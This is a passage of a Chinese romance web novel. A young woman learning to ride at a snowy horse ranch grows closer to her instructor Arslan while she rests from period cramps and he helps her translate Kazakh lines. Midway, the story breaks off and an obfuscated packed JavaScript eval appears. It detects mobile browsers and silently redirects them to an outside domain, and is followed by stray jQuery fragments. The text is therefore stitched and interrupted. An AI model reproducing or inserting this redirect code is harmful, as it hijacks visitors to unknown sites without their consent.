吃过午饭，雪终于小了一些，但并没有停。阿伊莎和古丽达去了院子里铲雪，方好好则在羽绒服里多加了一件羽绒背心，才出发去马场。
她帽子、围巾、手套全副武装，浑身上下只露出一双眼睛，举着一把小白伞在雪地里缓步前行。
积雪的路面并没有想象中那么难走，松软的雪层在脚下发出“咯吱咯吱”的声响。
雪花无声无息地从空中飘落，轻盈得像羽毛，却又密密麻麻，仿佛整个世界都被笼罩在一片静谧的白色之中。
方好好缩了缩脖子，把围巾又往上拉了拉，可寒意还是从衣领的缝隙里钻了进来。她不由自主地放慢了脚步，在雪地上留下一串深浅不一的脚印，蜿蜒着向远处延伸。
拐过路口，就撞上了从巷子里出来的小黑。马儿喷了喷鼻息，方好好“诶”了一声，发现小家伙的鬃毛上已经压了一层雪花。
小黑侧了侧脑袋，一个高大的身影就从旁边的院子里走了出来。
方好好瞥了阿尔斯兰一眼，侧身回到大路上。
“上马，我送你过去。”
“不用了，我还有事儿。”方好好拒绝。
男人没再说话，只是放慢了脚步跟在她的身后。
方好好忍不住又瞥了他一眼。这么大的雪，他竟然没有打伞，只披了一件军绿色的雨披。帽檐压得很低，遮住了他的眉眼，只能看到他高挺的鼻梁和紧抿的嘴唇，整个人显得格外冷峻。
大约是她走得太慢，小黑有些不耐烦，踏着步子轻轻拱了拱她。方好好“哼唧”了一声表示抗议，小黑却以为她在跟自己玩，又用嘴巴轻轻敲了敲她的伞面，弄得伞面微微晃动。
阿尔斯兰这时才悠悠开口道：“照你这个速度，至少迟到二十分钟。”
“要你管。”方好好嘟囔了一句，随后停在了小卖部门口。进去前，她还特意侧身看了他一眼，语气带着几分倔强：“都跟你说我有事儿了！”
男人松开缰绳，跟着她走进了小卖部。
老板一见他，就热络地打了声招呼，顺手从玻璃柜里拿出他常抽的那款烟。
两人闲聊了几句，等到方好好从货架间走出来，阿尔斯兰才从衣服内衬里摸出一张一百元的现金递给老板：“一块儿结。”
方好好把卫生巾放到玻璃柜上，老板瞄了一眼，迅速找零，抽出一张五元的纸币递给阿尔斯兰。他这才看清她买的是什么，脸上闪过一丝不自然，一把抓过玻璃柜上的烟盒，就牵马去了。
走出小卖部，男人就重新戴上了帽子，帽檐下的神色看不分明。
方好好掏出手机：“二维码给我，我把钱转给你。”
阿尔斯兰略略侧目，没有接话，似乎并不在意这点钱，她也只好悻悻的收回了手。
低头一看，手里的卫生巾包装上赫然印着"ABG"三个字母，方好好差点笑出声——这山寨得也太不走心了吧！再仔细一看，"超薄瞬吸"写成了"超簿瞬吸"，"防侧漏"印成了"防侧满"。好家伙，这哪是卫生巾，这分明是错别字大全啊！
大概是走得太久，又吹了冷风，方好好的肚子开始隐隐作痛。她伸手轻轻揉了揉，心里盘算着：拐过第二个路口就快到了，最多再走一公里就能到马场——希望这个"ABG"能撑到那时候，别在半路给她来个"侧满"事故。
见她脸色有些发白，阿尔斯兰再次开口，语气比之前柔和了些：“上马吧。”说完，他伸手握住了她的伞柄。
这次，方好好没有再拒绝。她抿了抿唇，踩着脚蹬上了马，接过雨伞，低声说了句：“谢谢。”
进了马场，便暖和多了，寒意顿时被驱散不少。
方好好搓了搓冻得有些发红的手，正想脱掉外套，阿尔斯兰却清了清嗓子，低声提醒道：“穿着吧。”
她点点头，取下围巾和手套，顺手挂到栏杆上。
接着，从衣服兜里掏出一颗小苹果，冲着大白晃了晃，笑眯眯地说道：“看看我给你带了什么呀。”
大白立刻喷了喷鼻息，抬嘴就去够她手中的苹果。小黑也不甘示弱，凑了过来，用脑袋轻轻拱了拱她的手臂。
“放心，都有。”方好好一边说着，一边摸了摸左边的衣服兜，结果里头空空如也。
她不死心地低头看了看，心里嘀咕着：到底是忘记拿了，还是路上掉了？
这下可好，只剩一个苹果了。
她左右瞧了瞧，偌大的训练场里除了跑道，什么都没有，肯定是找不到水果刀的。
她忽然想起阿尔斯兰曾经徒手掰苹果的样子，于是把苹果抵到自己的肚子上，试着用力掰开。
然而，她实在高估了自己的力气，费了半天劲儿，苹果却连皮都没破一点。
方好好无奈，只好将目光重新投向阿尔斯兰：“你帮我把苹果掰成两半儿呗。”
阿尔斯兰没说话，接过苹果，轻松一掰，苹果便分成了两半。
他将苹果递还给她，动作干脆利落。
方好好接过苹果，摊开双手，分别递给了小黑和大白。
两个小家伙迫不及待地凑过来，津津有味地啃了起来。她看着它们吃得欢快，忍不住笑了，心里那点小小的尴尬也随之消散。
待她喂乌雅和玉骢吃过了苹果后，阿尔斯兰才正色道：“慢步、快步你都已经会了，今天练跑步，跑步是马匹的中高速步态，节奏为“三拍”。马匹的三蹄依次着地，形成一种流畅的起伏感。”
他说完，骑上小黑给她演示了一遍。方好好看着他的动作，心里暗自庆幸自己基础打得扎实。对她来说，这一步只是提速的问题，很快她就掌握了要领，骑着大白在跑道上奔驰起来。
几圈下来，她的动作越发熟练，但小腹的疼痛也在逐渐加深。方好好逐渐放缓了步调，心里有些不安。她的例假向来规律，除非剧烈运动，否则几乎不会有痛感。可此刻，小腹的下坠感让她意识到，骑马确实算是剧烈运动。
她咬了咬牙，强忍着不适又练习了大概半个小时。结果下马的时候，小腹的坠胀感突然加剧，害她一个踉跄，差点儿扑到了地上。
去洗手间换卫生巾的时候，发现血量过大，她才终于决定暂停训练。
“你办公室有热水吗？”她扶着栏杆，声音有些虚弱。
阿尔斯兰看她唇色发白，猜到她是身体不适，点了点头，带她回了办公室。
他的办公室比达吾勒的要宽敞些，放了两张办公桌，侧边还有一组沙发和茶几。方好好坐到沙发上，整个人陷进柔软的靠垫里，心里稍稍松了口气。
不多时，他就端了一壶热水和一只洗净的杯子进来：“你先休息，我把乌雅和玉骢牵回去。”
她点点头。
可还不到一分钟，他就又拎了一个“小太阳”进来，还扯了一个插线板，把取暖器对准了她，才再次离开。
方好好有些感激，却又不好意思多说什么，只在心里默默嘀咕：这人还挺细心。
她捧起热水杯，暖意很快从指尖蔓延到全身。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501366|170356||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
人一暖和起来，精气神也跟着恢复了。她喝了点儿热水润了润嗓子，掏出手机开始背词儿，话筒里传出阿伊莎青色而稚嫩的声音，方好好一字一顿的复刻。
就这么休息了大约二十来分钟，阿尔斯兰也回来了。
他坐到自己的办公桌前，手指在键盘上轻轻敲动。方好好调小了手机音量，抬头问道：“我没带耳机，会不会吵到你？”
“不会。”他的眼睛始终盯着电脑屏幕，轻声答道。
男人脱去军绿色的雨披后，里面穿的是一件黑色的棉服，虽然洗得有些发旧，但熨烫得整齐。办公桌也收拾得干净，桌面上摆着一个黑色的保温杯，很有一股老干部的沉稳气质。
方好好下意识地抿了抿唇，偷偷打量起他。
他的五官生的端正，身材也挺拔，很有一种中式的、板正的帅。她忍不住在心里嘀咕：真是一点儿也不像哈萨克族，到底是不是混血？
察觉到她的视线，阿尔斯兰侧过头，目光交汇的瞬间，方好好瞬间心虚地垂下眼眸，嘴里机械且重复的念着：“xx,xx,xx。”
“是XX。”他纠正她的发音。
方好好哦了一声，低下头，继续念下一句。
阿尔斯兰却突然打断了她：“这句翻译的不够准确，应该加上**。”
她抬眸，两人的视线再次交汇。
男人的眼睛深邃而沉静，她忽然想起阿伊莎说自己的翻译可能会缺失哲理性和意境。
或许，可以请他帮忙看看呢？
可是，自己昨天还在跟他怄气，这会儿开口请他帮忙，会不会显得太没骨气了？她抿了抿唇，心里有些纠结。
看她欲言又止，阿尔斯兰主动开口到：“有话想说？”
“呃...”内心小小的挣扎了一下，最终还是决定以工作为重：“我有几句词不知道该怎么翻译，你能帮我看看吗？”
他点了点头，语气干脆：“好。”
方好好挪步到他身旁，将手机放到桌面上：“就是这几句。”
阿尔斯兰默读了一遍，全是融合了诗词和谚语的劝诫，逐字翻译或许能够把话讲清楚，但却难以保全诗词的韵味，但这也是没有办法的事情，毕竟是两种不同的语言，背后的文化也存在差异的。
他从抽屉里拿出一张纸，一边思索一边用哈萨克语写下了那几句台词：“你先照这个背，我再想想怎么润色。”
方好好点点头，打开手机的录音功能：“那你再帮我录下来，好不好，录的时候要按照你们的习惯停顿和断句。”
“好。”他接过手机，按照她的要求开始念出台词。
他的嗓音浑厚而低沉，说普通话时略显清冷，但一旦说起哈萨克语，那种清冷便莫名染上了一股张力，变得深沉而富有磁性，仿佛带着某种力量，穿透空气，直击人心。
方好好听得入神，眼神不自觉地移向了他的嘴唇。那张唇上薄下厚，透着淡淡的玫瑰色，唇形清晰得像是精心勾勒出来的。她一时有些恍惚，心里莫名涌起一丝异样的感觉。
就在她出神发愣之际，电脑里突然传出了“滴滴滴”的提示音。阿尔斯兰按下暂停键，抬眸的瞬间，正好对上了她的视线。
这距离近得他甚至能清楚地数出她的睫毛——又长又翘，像一排小扇子，忽闪忽闪的，一双眼睛又大又亮，水汪汪地望着他，仿佛能映出他的影子。
阿尔斯兰觉得胸口好像有什么东西轻轻撞了一下，心跳不自觉地加快了几分。